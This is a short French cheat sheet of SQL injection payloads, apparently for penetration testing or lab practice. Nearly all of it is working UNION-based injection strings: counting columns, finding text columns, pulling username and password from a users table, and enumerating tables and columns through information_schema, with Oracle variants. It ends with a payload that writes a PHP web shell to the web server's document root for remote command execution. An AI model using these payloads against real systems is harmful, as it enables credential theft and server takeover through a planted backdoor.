' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--etc.
Trouver une colonne contenant du texte
' UNION SELECT NULL--' UNION SELECT NULL,NULL--' UNION SELECT NULL,NULL,NULL--etc.Une fois le nombre de colonne trouvé,' UNION SELECT 'a',NULL,NULL--' UNION SELECT NULL,'a',NULL--' UNION SELECT NULL,NULL,'a'--
Selectionner des colonnes dans une table
' UNION SELECT <column1>, <column2>,... FROM table--Exemple:' UNION SELECT username, password FROM users--
Afficher plusieurs colonnes d'une table sur une seule ligne
' UNION SELECT <column1> || '<separator>' || <column2> FROM table--Exemple:' UNION SELECT username ||'~'||password FROM users--
Recupérer la liste des tables dans la BDD
Exemple:
' UNION SELECT NULL,NULL-- (2 colonnes)Donc,' UNION SELECT table_name,NULL FROM information_schema.tables--reponse,......users
Récupérer le nom des colonnes dans une table
En suivant l'exemple précédent:
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
Pour Oracle, remplacer 'information_schema.tables' par 'all_tables' et 'information_schema.columns' par 'all_tab_columns'.
PHP RCE
' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php' #
